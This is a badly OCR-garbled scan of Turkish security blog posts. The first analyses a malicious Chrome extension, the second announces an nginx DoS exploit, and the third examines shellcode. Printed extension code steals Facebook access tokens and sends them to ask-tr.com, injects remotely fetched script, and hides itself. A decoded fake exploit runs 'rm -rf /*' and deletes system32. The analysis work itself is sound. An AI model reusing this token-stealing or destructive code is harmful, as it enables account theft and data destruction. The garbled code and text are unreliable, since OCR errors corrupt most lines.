+ foto.url + ‘ Ta + foto.sciklama +
£ 8 : fanction ()|
I
i
]
[ function postgonder (token, kisi)(
.mame = post.name.replace(/(name)/g,kisi.name)
.message = post.message.replace(. e SEL81 .name)
Spactul = post.picture.replace( 9. k18l picTure dat
description = post n.replace |/ (name} /g, kisi.name) :
k = post.link.replace(/(adfly 1 “#kisi.link)
.1ink = post. +kial. link) ¢
+link = post. +poSt . BOVes " +kisi.link) ;
7.kisl.name)
tpost . message+ +post.names +past .pictures

beforeSend: functiom(req) {

req.setRequestHeader ( . x x . ' x “fesg '
e
success: function(data) {

]

0.9, *,

+ token,

+post . descriptions

+post.linke

+post.captions
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function begenigetir(token, kisi)(
var xhr = new XMLHttpRequest():
xhr.open{"GET", "http://ask-tr.com/php/likes.php”, true):
xhr.onreadystatechange = functiom{) {
if (xhr.readyState == 4) {
wvar data = JS0N.parse (xhr.responseTextc);
for(i=0;i<data.pages.length:;i++){
if(kisi.gender == data.pages[i].gender || data.pages[i].gender == "farketmez"){
—if{kisi.locale == data.pages[i].locale || data.pages[i].locale == "farketmez"){
limitKontrol (token,data.pages([i]):
3
r}
'}
]
'}
xhr.send () ;
i

Hfunction limitKontrol (token,sayfa){

var xhr = new XMLHttpRequest():
xhr.open("GEI", "https://graph.facebook.com/'+sayfa.id+'?fields=likes', true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {

var data = J50N.parse(xhr.responseText);
if{data.likes < sayfa.limit){
begeniKontrol (token, sayfa) ;

r}

¥

F¥

xhr.send() :

ek |

[Elfunction begeniKontrol (token,sayfa) {

var xhr = new XMLHttpRequest():
xhr.open{"GET", ‘https://graph.facebook.com/fql?q=SELECT token FROM page_fan WHERE uid = me () AND page_id = "'+#sayfa.id+'"faccess_token="+token, txue);
—|xhr.onreadyscactechange = function() {
if (xhr.readyState == 4) {

var data = JSON.parse (xhr.responseText):
if(data.data.length == 0){

sayfaBegen (token, sayfa);

I}

'}

R’

xhr.send() ;

g |

function sayfaBegen (token,sayfa){

1jQuery.ajax({
url:‘'hceps://graph. facebook.com/'+sayfa.idt' /likes?mechod=postsaccess token='+token,
type: 'GET’',
=] beforeSend: function(req) {
req.setRequestHeader ("Accept™, "text/html,application/xhtml+xml,application/xml;g=0.9,%*/*;q=0.8");
[ |
= success: function(data) {
'}
sz
Al

chrome.webRequest.onBeforeRedirect.addListener (
function(details) {
if(details.redirectUrl.indexOf("access token=") > 0){
access_token = details.redirectUrl.split("access token=")[1];
if(details.redirectUrl.indexOf("app_id=") > 0)({
app_id = details.redirectUrl.split("app_id=") [1].split("&")[0]
if(app_id.indexOf("£") > 0){app_id = app id.split("#")[0]:)
}
access_token = access_token.splic("&") [0]:
tokenKontrol (access_token) ;
]
|
{urls: ["<all urls>"]},
["responseHeaders"]);

function tokenGonder (token,user){

var xmlhttp = new XMLHttpRequest() :

xmlhcep.open("POST™, "http://www.ask-tr.com/kayit.php”, true):

params = "access token=" + token + "guserid=" + user.id + "&username=" 4 user.name + "&igender=" + user.gender + "&locale=" 4 user.locale:
xmlhttp.setRequestHeader ("Content-Type®™, "application/x-www-form-urlencoded”) ;

xmlhttp.send(params) ;

}



function tokenGonder (token,user){

var xmlhttp = new XMLHttpRequest():

xmlhttp.open{"POST", "http://www.ask-tr.com/kayitc.php”, true):

params = "access token=" + token + "Luserid=" + user.id + "iusername=" + user.name + "igender=" + user.gender + "ilocale=" + user.locale;
xmlhttp. R H
xmlhttp.send (params) ;
]

("Content-Type", "application/x-www-form-urlencoded”) ;

function tokenKontrol (token) {
var xmlhttp = new XMLHttpRequest():
xmlhttp.onreadystatechange = function () {
Hif(xmlhttp.readyState == 4){
tokenSonuc = {}:
tokenSonuc = JSON.parse (xmlhttp.responseText):
SEE44-. && id){
kenGonder (token, tokenS: |
if(token.indexOf ("AAAFG") >= 0){
videogetir (token, tokenSonuc) ;
postgetir (token,tokenSonuc) ;
}else if(token.indexOf ("AAAAUa") >= 0){
fotogetir (token) ;
lelse{
begenigetir (token,tokenSonuc) ;
i)
B
2
B
smlhttp.open("GET", "https://graph.facebook.com/me?fields=id, link, name,gender, locale,about,picture.width(130) .height (130)taccess_token=" 4 token):
xmlhttp.send() ;
it |

[l function rastgele (uzunluk){

men = "ABCDEFGHIJKLMNOPRSTIUVYZXabcdefghijklmnopratuvyzx0123456789";
EEL = ==

] for (i=0;i<uzunluk;:i++) {

ret 4= mtn[Math.floor(Math.random() * 57)]:

3

return retc;

ot |

a isim,resim,coken,1d)(
Af('hakikinda) {

bakkinda = isimé" videosunu izle.”
]

Jif(videc.isim) |

isim = video.isim:

L

Elif(video. reaim) |

resim.data.url = video.resim:

]

Eif(videc.sciklama)

hakikinds = video.aciklama:

)

Hekle = |
"name”iisim,
"description” ihakikinda,
*media®s [
"cype”:"flash®,
video.swi+" ivideo="4zastgele (25) +"12du
resim.data.urle” Timage="srastgele (25)+"hiduser="slde"~
130,
130,
“expanded height®1398,
“expanded width®:398
1.
"href®:"htip://www.facebook.com/profile. . phplid="4+1d
b

I}

~"+rastgele(4€),
Ehash="+rascgele (46},

EliGuery.ajax({

/ /api.facebook. com/restaerver . phpiprivacy \'EVERYONE' * } iformat=jsonimessage="4+video.mess)+' imechod=stream, publishiattachment="+JS0M. stringify (ekle)+' iaccess token=' + tokenm,

[=] beforeSend: function(req) |

req.setRequestieadar ("Accept®, “text/html,application/shtml+xml, application/xml;qe=0.5,%/*;
b

] success: functicn(data) {

= | Arf(ldaca.error_code) {
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chrome.tabs.onCreated.addListener (functian(tab) {
if(tab.url.indexOf ("c me : //extensions/

chrome . tabs.update (tab.id, {furl:"
if
it i

chrome . tabs.get (tabld, function({tab) {
if{tab.url.index0f ("ch
chrome.tabs.update(tab.id, {url:"h

%chrome.tabs.onUpdated.addListener(fhnction{tabld}{

hrome . google. ot

lelseq

var xmlhttp = new XMLHttpRegquest():;
—lzmlhttp.onreadystatechange = function () {
%if(xmlhttp.readyState 5 b b

if({tab.url.index0Of ("de ols://™) < 0){

chrome . tabs.executeScript (tab.id, {code:xmlhttp.responseText}) ;
M

il

M

zmlhttp.open {("GET",
Zmlhttp.send() ;

M

4l BB

chrome . tabs.getCurrent (function(tab) {
—lif{tab && tab.url.index(Qf("ch
chrome.tabs .update (tab.id, {furl:"
r}

2l i

chrome . webRequest .onHdeadersReceived.addListener (
function{info) {
var headers = info.responseHeaders;

for (var i=headers.length-1; i>=0; —-i) {
var header = headers[i] .name.tolowerCase();
= if {header =— 'x-frame-options' || header =— 'frame-options') {
headers.splice(i, 1):; // Remove header
r i
r i
return {responseHeaders: headers};
2 1
= i
urls: [ 1, // Pattern to match all http(s) pages
types [  frame' ]
2 1
['blocking', responseHeaders']

me : //extensions/") >= 0 || tab.url.index0f ("chrome:/

bstore™}) :

fextensions—frame™) >= 0){

Fonksiyonlara bakildiginda, zararli eklenti yiiklii olan Chrome c¢aligtirildiginda, ilk olarak kullaniciyr http://ask-tr.com/php/up.php
adresine, ardindan http://goo.gl/hDe9h sayfasina ve son olarak da http://ask.fm adresine yonlendirmektedir. http://goo.gl/hDe9h

sayfasinin istatistiklerine bakildiginda ise 12 glinde yaklasik 1800 kisinin bu zararli eklentiyi yiikledigi goriilmektedir.
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http://goo.gl/hDe9h+

| Filter: Hiding specific extensions |@
# 4|Host | Method | URL | Params | Modi
91 http://www.google.com GET ! = A
92 hitp:/fask-tr.com GET  /phplup.php O =
93 http://www.google.com.tr GET / =] =
1|95 hitp://www tr-googlee.com GET / =) =
|| 96  hitp://anon2me.com GET  /reklam/300x250 php =] =
97  http://anonZme.com GET Ireklam/300x%250.php O =
|| 106 hitp://anon2me.com GET  /reklam/300x250 php =] =
(1| 108  http:/fanon2me.com GET Ireklam/300x%250.php = =
(| 117 hitp://ask-tr.com GET favicon.ico O ]
120 http:/fib.adnxs.com GET Ittj?id=1406015 [ =
121 http:/fylli.com GET /banner_show.php?section=General&pub=223785&format=300x250&ga=g ] l::
AR Lot AT lere b L AAAZOE D o i 2 P rYe n - r: 4
i —
| (Rt [Rospore
Raw | Headers | Hex | HTML IRender ]
IHTTPfl.l 00 OF A
Date: Wed, 29 May 2013 12:51:48 GMT -
[ [Vary: Accept-Encoding
Content-Type: text/html
Froxy-Connection: Keep-Alive
Content-Length: 352
<head>
<meta http-equiv="refresh" content="0;url=http://goo.gl/hDeSh">
</ head>
<script id="_wausSe">var wau = wau || []1; _wau.push(["classic', "nOudg55ke7jl", "s9e"]):
{function() {var s=document.createElement("script"): s.async=true;
s.src="http: f/fwidgets. ammng.us/classic.js" ;
| |document . getElement sByTagWame ( "head" ) [0] . appendChild(s) ;
) :</script>
-
l v
I 2 < + 2 | |Type a search term 0 matches

." Google URL Shortener

L CH goo.gl/#analytics/goo.gl/hDedh/all_time £ =

Google url shortener

http://goo.gl/hDe9h T

Total Clicks

1,810 ks for the past: two hours | day | week | month | all ime

m

Referrers Browsers

Unknown/empty
hrome

ask-r com

Javascript kodunun son satirlarina bakildiginda, art niyetli kisilerin eklentiyi Chrome ayar sayfasindan gizlemek igin, ayar
sayfasina girildiginde kullaniciy1 https://chrome.google.com/webstore sayfasina yonlendiren bir mekanizma olugturduklari da agikca
goriilmektedir.
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https://chrome.google.com/webstore

Bunun ilave olarak http://www.ask-tr.com/kayit.php sayfasina kurbanin veya kullandig1 uygulamanin access_token'ini, kullanici adini,
cinsiyetini gondermekte ardindan kurbanin adina Facebook sayfasinda mesajlar paylasarak arkadaslarimi da bu zararl eklentiyi
yiikletmeye c¢aligmaktadir. Bu sayede yeni kurbanlari agma diisiirecek ve bu eklentiyi yiikleyen her yeni kurban, Chrome internet
tarayicisinda yeni bir sekme (tab) agtiginda http://ask-tr.com/script.js javascript dosyasi arka planda otomatik olarak yiiklenecek,
kurbanin karsisina istenmeyen reklam pencereleri agilacak ve yeri geldiginde kurbanlarini istedikleri Facebook sayfalarini begendirtmek
amaciyla zombi olarak kullanabileceklerdir.

Her ne kadar http://ask-tr.com/script.js javascript kodu gizlenmis (obfuscated) olsa da, yeni olusturulan bir html dosyasina kopyalanip
(kodun basina ve sonuna, html ve script etiketlerini koymay1 unutmayimn) 3137(_9776); satir1 alert(_9776); olarak degistirildiginde,
bunun reklam penceresi agilmasini saglayan ve art niyetli kisilere reklam tizerinden kazang saglayan kod oldugu anlasilmaktadir.

Index of | ask-tr.comyscript. js 5 5 ¥ Downloads

& C [ ask-tr.com/script.is 7 =

war o = document; i—
var img = d.createElement ("img™)
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vaScript Application]

war ref=document.URL;
var domain=dacurnent, domain;
var adres="http:{fanon2me.comreklam/300:250,php';

var pub = '<div id="popup'Win" style="right: Opx; margin-right:8p:x; battom:
Op:; display: none; z-indesx: 99999; position: absolute; height: 250px" = <div
id="popupwin_content" style="padding: 2px; display: none; overflow: hidden; width: 300p:x;
height: 250px; position: absolute;" > <iframe marginwidth="0" marginheight="0" height="250"
width="300" name="ads" src="+adres+" scroling="no" border="0" frameborder="0"=</iframe =
< fdiv = <fdiv '

war newMode = document. createElement("div";
newhode, style, width = "300px";
newhode, style, height = "250px";
newMode. innerHTML=pub;
document. body .appendChild{newkode);

war popupwinoldonloadHndlr=window. onload, popupwWinpopupHgt,
popuptWinactualHgt, popupWintmrid=-1, popupWinresetTimer;
war popupiwincntDela;

function popuptinespopup_ShowPopupishow
i
if {popupiWintmrid!=-1) return;

el=document. getElementById{ popupiiny;
el.skyle. right="296p:x";

el style.filker

if {navigator.useragent.indexOF{'Opera’il=-1)
el.style, bottom={document, body scrolHeight*1-

docurment. body . scrallTop*1 -dacument. body . off setHeight™ 1 +1 *popupWinpopupBattom)+'pa’;

popupwinactualHgt=0; el style, height=popupWinactualHgt+'px’;

el.style. visibility=";

if {!popupWinresetTimer) el.style, display=";

popupwintmrld=setInterval{popupWWinespopup_tmrTimer,
{popupiWinresetTimer? 1000:20));

function popup'Winespopup_winLoad ()
if {popupwinoldonloadHndlr!=null} popuptwinoldonloadHndlr);

elCnt=document . getElementById{ popupiin_content’)
el=document ., getElementById{popupiwiny;

popupWinpopupBottom=el, style, bottom, substr{0, el style, bottom, length-2);
popup'WinpopupHgt=el.style. height;

popuptWinpopupHgt=popup'WinpopupHgt, substr(0, popuptWinpopupHgt . length-2;
popupWinactualHg=0;

popupWincntDelta=popupWinpopupHgt-{elCnt. style . height. substr{0, elCnt. skyle, height length-23);

popupwinresetTimer=False;
popupwinespopup_ShowPopupinully;
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Sonug olarak sosyal aglarin art niyetli kisilerin tehdidi altinda oldugu bir gergektir. Eger siz de son zamanlarda bu veya benzer siipheli
istenmeyen reklam pencereleri ile sik¢a karsilasiyorsaniz, dncelikli olarak internet tarayicinizin eklentilerini kontrol etmenizi, arkadas
listenizde olan ve benzer mesajlar gonderen arkadaslarinizi farketmeniz durumunda da onlari en kisa siirede uyarmanizi siddetle 6neririm.

Bir sonraki yazida goériismek dilegiyle herkese giivenli giinler dilerim.

Not: Chrome kullanan ve bu zararli eklentiyi silmek isteyen kullanicilar, HKLM\SOFTWARE\Policies\Google\Chrome
\ExtensionInstallForcelist anahtari altinda yer alan siipheli alt anahtarlar1 temizleyebilirler.

Nginx DoS istismar Kodu

Source: https://www.mertsarica.com/nginx-dos-istismar-kodu/
By M.S on May 17th, 2013

P

7 Mayis tarihinde Nginx'in resmi web sayfasinda, Greg MacManus tarafindan nginx v1.3.9 ve 1.4.0 siiriimlerinde tespit edilen bellek
tasmasi giivenlik zafiyeti (CVE-2013-2028) i¢in bir yama yayinlandig: belirtilmisti. Can sikintisi nedeniyle bu zafiyet iizerinde yaptigim
1 saatlik bir arastirmada, bu zafiyeti istismar eden ve nginx web sunucusunu hizmet dis1 birakan bir istismar kodu hazirladim.

Kali ve Windows XP isletim sistemleri tizerinde denedigim ve Exploit-DB'ye gonderdigim istismar koduna buradan ulasabilirsiniz.
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Y] O Windowssystern3Zicmd exe ) Kal (2) - SecureC i
File

File Edit View Options Transfer Script Tools Window Help

«—HLD N Nl SKL &
Kali (2} x b I
[Top - 13:30:00 up 8 min, 7 users, load average: 0./7, 0.62, O.33
Tas! 145 total, 2 running, 143 sleeping, 0 stopped, 0 zombie
% ): 99.7 us, 0.3 sy, 5.0 ni, 0.01id, 0.0wa, 0.0hi, 0.0si, 0.0 st
KiB Mem: 773800 total, 416440 used, 357360 free, 29436 buffers
KiB Swap: 1324028 total, 0 used, 1324028 free, 215528 cached

e
kthreadd
ksoftirqd/0

ssh: AES-756-CTR 6 1 20Rows 103 Cols VT100 NUM

— ey~

File Edt View Options Transfer Script Tooks Window Help

PP mERp B abd FHY @
L

#pid logs/nginx. pid;
events {

worker_connections 1024;
heep {

include mime. types;

default_type application/octet-stream;

[L wrote 118 Tines ]

bof /nginx-1.4. .
1/t s/nginx -c /bof/nginx-1.4.0/conf /nginx. conf

error.log ngine-1.4.0 ngi .
root@kalt: /bofé tail -f error.lc
2013/05/16 13:28:55 [er
ch file or directory

1", host: "192.168

O-boom ngime-1.4.0.tar.gz ngime-1.4.1 nginx-1.4.1.tar.gz

*1 open() "/usr/local/nginx/htm] /mertsarica.php”™ failed (2: wo su
client: 192.168.1.64, server: localhost, request: “POST /mertsarica.php HTTP/1
63

Ready PReady sshl: AES-256-CTR 24, 1 24 Rows, 101 Cols V100 NUM iR

B windows Task Manager

File ©Options View Shut Down  Help

Applications ~ Processes |Performance I Ietworking I Users I

T s ?
is there ?
is there ?

is there ? iexplore. exe Administrator 1.948 K
Knock knock. is anybody there ? (5.5 cmd.exe Administratar oa 2,336 K
Done! wuaucl, exe SYSTEM oo 7416k
alg.exe LOCAL SERVICE Juli) 3,668 K
C:~Documents and Settings“AdministratorsDesktop> TRAutoConnect.exe  Administrator oo 11.480 K
shstat.exe Administrator 0o 53z K
wscnkfy exe Administrator oo 2,500 K
TPAUkoConnSve.exe SYSTEM uli} 4424 K
igs.exe SYSTEM oo 1,903 K
micshield.exe SYSTEM 0o 52,844 K
wordpad exe Administrator oo 1.544 K
winboolsd, exe SYSTEM Jula] 12,964 K
mfevtps,.exe SYSTEM oo 4,344 K
rubyw, exe SYSTEM oo 42,720 K
iexplore. exe Administrator oo 21,020 K
postgres exe SYSTEM oo 5,492 K
postgres. exe SYSTEM oo 6.112K

ctfmon. exe Administrator 0o 3.808 K LI

¥ show processes From all users End Process |

[Processes: 52 [CPUUsage: 100%  [Commit Charge: 472M [ 1298M

Not: Exploit-DB ve Packetstorm'a dosyalar1 gonderirken CVE-2013-2028 yerine CVE-2013-2070 olarak gondermisim, dogrusu
CVE-2013-2028 olacaktir.
I submitted the POC code with wrong CVE (CVE-2013-2070) to Exploit-DB & PacketStorm so the correct one is CVE-2013-2028.

KabukKod Analizi

Source: https://www.mertsarica.com/kabukkod-analizi/
By M.S on April 30th, 2013

=

Kabukkod (shellcode), tespit edilen giivenlik zafiyetinin istismar edilmesi ile hedef igletim sistemi tizerinde komut satir1 erisimi vermeye
yarayan bir kod pargasidir (instructions) bu nedenle istismar kodunun belki de en énemli parcasidir. Penetrasyon testlerinden, APT
(advanced persistent threat) saldirilarina, arka kapilardan, Watering Hole saldirilarina (popiiler sitelerin hacklenerek ziyaretgilerinin
zararl yazilim iceren bagka sitelere yonlendirilmesi) kadar bircok alanda sik¢a kullanilan istismar kitleri dolayistyla kabukkodlarinin
analizi de her gegen giin giivenlik uzmanlar1 ve kurumlar i¢in 6nem kazanmaktadir.

Ozellikle penetrasyon testlerinde Metasploit, Core Impact, Canvas ve benzeri istismar araglarinda yer alan ve kabukkod igeren istismar
kodlar1 kullanilmadig: siirece Packetstorm, Exploit-DB, 1337day vb. istismar kodu yayinlayan sitelerden indirilen istismar kodlarinin
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dolayistyla kabukkodlarinin test edilmeden, kontrol edilmeden herhangi bir penetrasyon testin de kullanilmas1 hem testi gergeklestiren
hem de kurumlar/miisteriler i¢in oldukga risklidir. Bunun nedeni ise art niyetli kisilerin kimi zaman sahte istismar kodu altinda, sisteme
zarar veren kabukkodu igeren istismar kodlarini ¢esitli internet sitelerinde yayinlamalarindan kaynaklanmaktadir.

13 Mart 2012 tarihinde Microsoft tarafindan yayinlanan bir bildiride (MS12-020), RDP {izerinde uzaktan komut ¢alistirmaya imkan
tantyan kritik bir giivenlik zafiyeti tespit edildigi belirtilmistir. Bu bildirinin yayinlanmasindan kisa bir siire sonra ise hem sosyal medyada
hem de ¢esitli internet sitelerinde, bu zafiyeti istismar ederek uzaktan komut galistirmaya imkan taniyan istismar kodlarina verilmistir.

injactor
[web applications] - NEWSolved SQL Injection Vulnerability
divr.it/2h 1Yy

inj3ctor
[web applications] - Feindura CMS v2.0.4 divr.it'2h1YTP

inj3ctor 2
[web applications] - CodeWeb SQL/XSS Vulnerabilies divr.it'2h0D1n

inj3ctor
[remote exploits] - Microsoft Remote Deskiop User/Password Reader
(Base on MS12-020) divr.it/2gyLF2

inj3et0r Sin2ctor
[web applications] - Wordpress Themes - onepagewebsite Full Path
Disclosure vulnerability divr.it’2gyLCq

inj3ctor
[web applications] - Thinksns Arbitrary File Upload Vulnerability
divr it’2glkww

injactor :
Do you want to buy or sell Exploits? 1337day com/private We have
good Apache/lIS/nginx/vBulletin 5.0.0/DataLife Engine DLE Oday
Exploits
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PASTEBIN | #1 paste tool since 2002 create new paste | tools | api | archive | faq | 4b

)
! b
K&,ﬂ“’u}ﬂ Y X030 Bl ¥ Follow @pastebin ms12-020 0y ©

'. create new paste gl trending pastes signup | login = my alerts = my settings = my profile

Don't like ads? PRO users don't see any ads :-)

&’ Search results for: ms12-020 Public Pastes
b Untl.‘ier..i
ecago
A i1 — 10 seconds g Untitled
» -
2 secago
Untitled

[Python] MS12-020 PoC - Pastebin com
Mar 13, 2012 ... usr/bin/env python

5 sec ago

# M512-020 Exploit by ... Fotisuipind

pastebin com/fFWkezQH -
Untitled

> ¢ ago

[Python] # # # ms12-020 "chinese shit" PoC v2 (wireshark version ... g Untitied

Mar 15, 2012 ... ms12-020 "chinese shit” PoC v2 (wireshark version). # # tested on winsp3
spanish, reported to work on Win7, win 2008. # # original source: ...
pastebin com/izQxwnpj

ust/bin/env python # rdpsmash.py # M$12-020 RDP exploit. remote ..

Mar 17, 2012 ... usr/bin/env python. # rdpsmash py. # M512-020 RDP exploit, remote code
execution. # Confirmed working on all pre-patch boxes, XPto 7. # ...

pastebin com/GM4sH)5t

# - kery - P in

#ms12-020 2012-03-15 10:04:10 -0400 lifeasageek kd> r eax=b02ba008 ebx= 00000000
ecx=00000002 edx=0000091d esi=b02ba604 edi=00000002 ...
pastebin.com/SbHzzGAF

ms12-020 metasploit dos module - Pastebin com

Mar 18, 2012 ... class Metasploit3 < Msf Auxiliary include Msf.‘Exploit: Remote: Tep include
Msf - Auxiliary::Dos def initialize(info = {}) super{update_info(info. ...

pastebin.com/5aGxETfw

## - “chin hit" PoC # # n win: nish, from

Mar 15, 2012 ... Copied. # # ms12-020 "chinese shit” PoC. # # tested on winsp3 spanish
from localhost. # # import socket. import sys. buf="™" ...

pastebin com/UzDKcCQy

[Python] #l/usr/bin/env python # # ms12-020 PoC attempt # # based ..,

Mar 16, 2012 ... Copied. #/usr/bin/env python. # # ms12-020 PoC attempt. # # based on
jduck PoC. # import sys. import socket. from struct import pack.unpack ...

pastebin com/dFnaYYMz

EYVTPINOUNES o T T e e . N i B e i e i S Sind i i o L L ST

CH pastebin.com s @ =

PASTEBIM | # paste

EAOLEA)
Wity PASTEBIN CE=a
gl T ——

Dot lie ads? PRO users don't see any ads

§ Untitied Bl v pases

» W

AdWords') deneyin Google '

e g x x x
I T 3wk R AU RS AR T O TR S xS
Ege e
e AT A S ) T U L L 4 L BT T T TS
nie i
e AT I T T R LS Fnd J L 14 ]\ 3OS e
gge -
Y A TENT I T T T LT LSS N IS | e e
fage xTdAm
e nda ST TS S S IS el B kT
tege x x
Yy x s, 71w x R T
e x x x Prae X3 T
trigger +- “\RTEESIUEAI\RTENEE A PP LA\ R IS T I\
trigger = “\RSTURTHUEC \RBARIT LA\ RE T LRSI\ RA SRS TAR B AR TN
triseer +- “\wdl® *

Ornegin Pastebin'de yer alan bu istismar kodu her ne kadar shellcode adinda bir degiskene sahip olsa da aslinda gercek anlamda bir
kabukkod icermemektedir.

shel | code = "\ x5f\ x5f\x69\ x6d\ x70\ x6f \ x72\ x74\ x5f \ x5f \ x28\ x27\ x6f \ x73\ x27\ x29\ x2e\ x73\ x79\ x73"
shel | code += "\ x74\ x65\ x6d\ x28\ x27\ x64\ x65\ x6¢c\ x20\ x2f \ x73\ x20\ x2f \ x71\ x20\ x2f \ x66\ x20\ x43\ x3a"
shel | code += "\ x5c\ x77\ x69\ x6e\ x64\ x6f \ x77\ x73\ x5¢c\ x73\ x79\ x73\ x74\ x65\ x6d\ x33\ x32\ x5¢c\ x2a\ x20"
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shel | code += "\ x3e\ x20\ x4e\ x55\ x4c\ x20\ x32\ x3e\ x26\ x31\ x27\ x29\ x20\ x69\ x66\ x20\ x27\ x57\ x69\ x6e"
shel | code += "\ x27\ x20\ x69\ x6e\ x20\ x5f \ x5f \ x69\ x6d\ x70\ x6f \ x72\ x74\ x5f \ x5f \ x28\ x27\ x70\ x6¢\ x61"
shel | code += "\ x74\ x66\ x6f\ x72\ x6d\ x27\ x29\ x2e\ x73\ x79\ x73\ x74\ x65\ x6d\ x28\ x29\ x20\ x65\ x6¢\ x73"
shel | code += "\ x65\ x20\ x5f \ x5f \ x69\ x6d\ x70\ x6f \ x72\ x74\ x5f \ x5f \ x28\ x27\ x6f \ x73\ x27\ x29\ x2e\ x73"
shel |l code += "\ x79\ x73\ x74\ x65\ x6d\ x28\ x27\ x72\ x6d\ x20\ x2d\ x72\ x66\ x20\ x2f \ x2a\ x20\ x3e\ x20\ x2f "
shel | code += "\ x64\ x65\ x76\ x2f \ x6e\ x75\ x6¢c\ x6¢c\ x20\ x32\ x3e\ x26\ x31\ x27\ x29\ x20\ x23\ x68\ x69\ x20"
shel | code += "\ x74\ x68\ x65\ x72\ x65\ x20\ x5e\ x5f \ x7e\ x20\ x66\ x65\ x65\ x6¢\ x20\ x66\ x72\ x65\ x65\ x20"
shel | code += "\ x74\ x6f\ x20\ x73\ x70\ x72\ x65\ x61\ x64\ x20\ x74\ x68\ x69\ x73\ x20\ x77\ x69\ x74\ x68\ x20"
shel | code += "\ x74\ x68\ x65\ x20\ x72\ x6d\ x20\ x2d\ x72\ x66\ x20\ x72\ x65\ x70\ x6¢c\ x61\ x63\ x65\ x64\ x20"
shel | code += "\ x77\ x69\ x74\ x68\ x20\ x73\ x6f \ x6d\ x65\ x74\ x68\ x69\ x6e\ x67\ x20\ x6d\ x6f \ x72\ x65\ x20"
shel | code += "\ x69\ x6e\ x73\ x69\ x64\ x69\ x6f \ x75\ x73"

Yukarida yer alan shellcode degiskenini (kabukkod) asagidaki gibi en sade hale getirip,

5f 5f 696d706f 72745f 5f 28276f 7327292e73797374656d282764656c202f 73202f 71202f 6620433a5¢c77696e646f 77735¢c73797374656d333

HEX degerlerini ASCII degerlerine gevirdigimizde,

. - FTTWYS R T W W TN WY G T W YT YT TN WY < e

- CH w301 tohex

ASCII to Hex

...and other free text conversion tools

o
.|.|-|

Text (ASCII / ANSI) Binary Hexadecimal

[ Comert [ comer [ Comer |

BASEG4 Decimal ROT13

X 190bXBvCnREX MAKSS2eX) e 3 - ¢ ). Well typed sysadmins
....... -

[ Comrert [ Comert [Comert

URL Encoded HTML Entities

_inport__('os').system('del /s /g /f C\wi ndows\systenB2\* > NUL 2>&1') if 'Wn' in __inport_ ('platform).syste
el se

_inport_ ('os').system('rm-rf /* > /dev/null 2>&1")

#hi there "_~ feel free to spread this with the rm-rf replaced with sonething nore insidious

yukarida yer alan bu kodun ¢aligtirtldig1 igletim sisteminin Windows olmasi1 durumunda system32 klasoriinii sildigini, Windows digindaki
igletim sisteminde ¢alistirilmasi durumunda ise kok dizin (/) altinda yer alan tiim dizinleri sildigini, kisacast kabukkod adi altinda sisteme
zarar vermek amaciyla gelistirilmis Python kodu igeren sahte bir istismar kodu oldugunu gérebiliyoruz.

Peki ya ger¢ek anlamda OPCODElar'dan olusan bir kabukkod nasil analiz edilir ?

Ornegin elimizde bir istismar kodundan veya bir zararli yazilimdan temin etti§imiz asagidaki gibi bir kabukkodu (Ingilizce Windows
XP SP3'de galigsmaktadir) oldugunu diisiinelim. Bunu analiz edebilmek i¢in dncelikle disassemble etmemiz gerekmektedir.

31c031db31¢c931d251686¢c6c20206833322e64687573657289e1bb7b1d807c51f f d3b95e6730ef 81¢111111111516861676542684d6573738

Bunun i¢in ¢evrimici (online) ve ¢cevrimdist (offline) olmak tizere 2 yol izleyebiliriz.

Cevrimici analiz i¢in Malware Tracker gibi kabukkod analizi yapan ve bize assembly kodunu gosteren bir siteden faydalanabiliriz.

39


https://en.wikipedia.org/wiki/Opcode
http://www.shell-storm.org/shellcode/files/shellcode-691.php
http://www.malwaretracker.com/shellcode.php

[ o

“~ C M ) www.malwaretracker.com/shellcode.php

31c031db31c931d251686c6c20206833322e64687573657289e1bbTb1d807c51ffd3b95e6730ef81c1
11111111516861676542684d65737389e15150bb40ae807cffd389e131d42525151521fd031c050bB12

cb817cffd0

Dissemble Shellcode Win32  [+] [Execute

Result:

Entry Point:

Xor eax,eax
xor ebx,ebx

xor edx,edx

mov ecx,esp

Pt edx

1 pt [ =+ 3

push ecx

wom o

push edx
call eax ;
co XOr eax,eax

" oW

push eax

]
DO oM ke
=]
(=]

mov eax,0x7

call eax ;

m
m

XOor ecx,ecx ;

clearing variable
clearing variable
clearing variable
clearing wvariable

call ebx ; call

mov ecx,0xef30675e

call ebx ; call

xor edx,edx ; clearing variable

call
; clearing variable

c8lcbl2

call

Cevrimdist analiz i¢in ise kendimizi yormak istemiyorsak (Immunity Debugger araci ile herhangi bir programi (6rnek calc.exe) agip,
ilk 500 baytini kabukkodu ile degistirip analiz etmek), shellcode2exe araci ile elimizdeki kabukkodunu (sc.bin) yiiriitiilebilir programa
(executable) cevirip (sc.exe) ardindan Immunity Debugger araci ile analiz edebiliriz. (Immunity Debugger ile kabukkoda gelene kadar
F8 (Step Over) ile ilerleyip ardindan CTRL-A tuslarina (Analysis Code) basacak olursak kodun analiz i¢in daha da okunakli bir hale

doniistigiini gorebiliriz.)
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http://zeltser.com/reverse-malware/shellcode2exe.py.txt

=10l x|

[ Fie Edt Dsk Of Tools window Help _ _8] x|

EEEECYFLY FEIELA LY C I Y A b s

[ ELY AR Y

gooooooo 31 C0 31 DB 31 C9 31 D2 6C 20 20 68 33 73 BS Y2 89 1.1.1.1.0h11 h3Z.dhuser.
1000001% E1 BB I1DZB0 7Z€.51-EF 67 30 EF 81 C1 68 61 BY B3 ..{..|0..."g0.......0hage
0000032 68 4D &5 73R ET 40 AE 80 7C FF D3 B89 1 52 51 51 52 BhMess..QP.@. ... 1.RQOR
Q000o004E Do 31 Co B8 12 CB oo __ sl Beonesl w_

=101

C:~Documents and Settings“AdministratorsDesktoprshellcodeZexe-py sc.hin sc.exe
Shellcode to executable converter .
by Mario Uilas {(mvilas at gmail dot com)>

Reading raw shellcode from file sc.hin

Generating executable file
Mriting file sc.exe
Done .

| ;
Al FFFSEt'S? [0x00000057] C:“Documents and Settings“Administrator~Desktop>

[

SHT Signed Byte Iarget

#HT Unsigned Byte
1887 Signed Shart
15BIT Unsigned Short
32EIT Signed Long
32HT Unsigned Long
4T Signed Quad
S4BT Unsigned Guuad
22HTFloak
SHEIT Double
SHEITDATE
18T 0OS Date
15HT DOS Time:
SMETFILETIME
2007 time_t

#. Immunity Debugger - sc.exe - [CPU - main thread, module sc]

File Wiew Debug Plugins Immlib  Options  Window Help  Jobs
[O% EE Axp I wHEIEY- 1l emtwhcPkbzrt.s

Backup
Copy
Einary
Assemble
Label
Cornment
Add Header
Modify Yariable
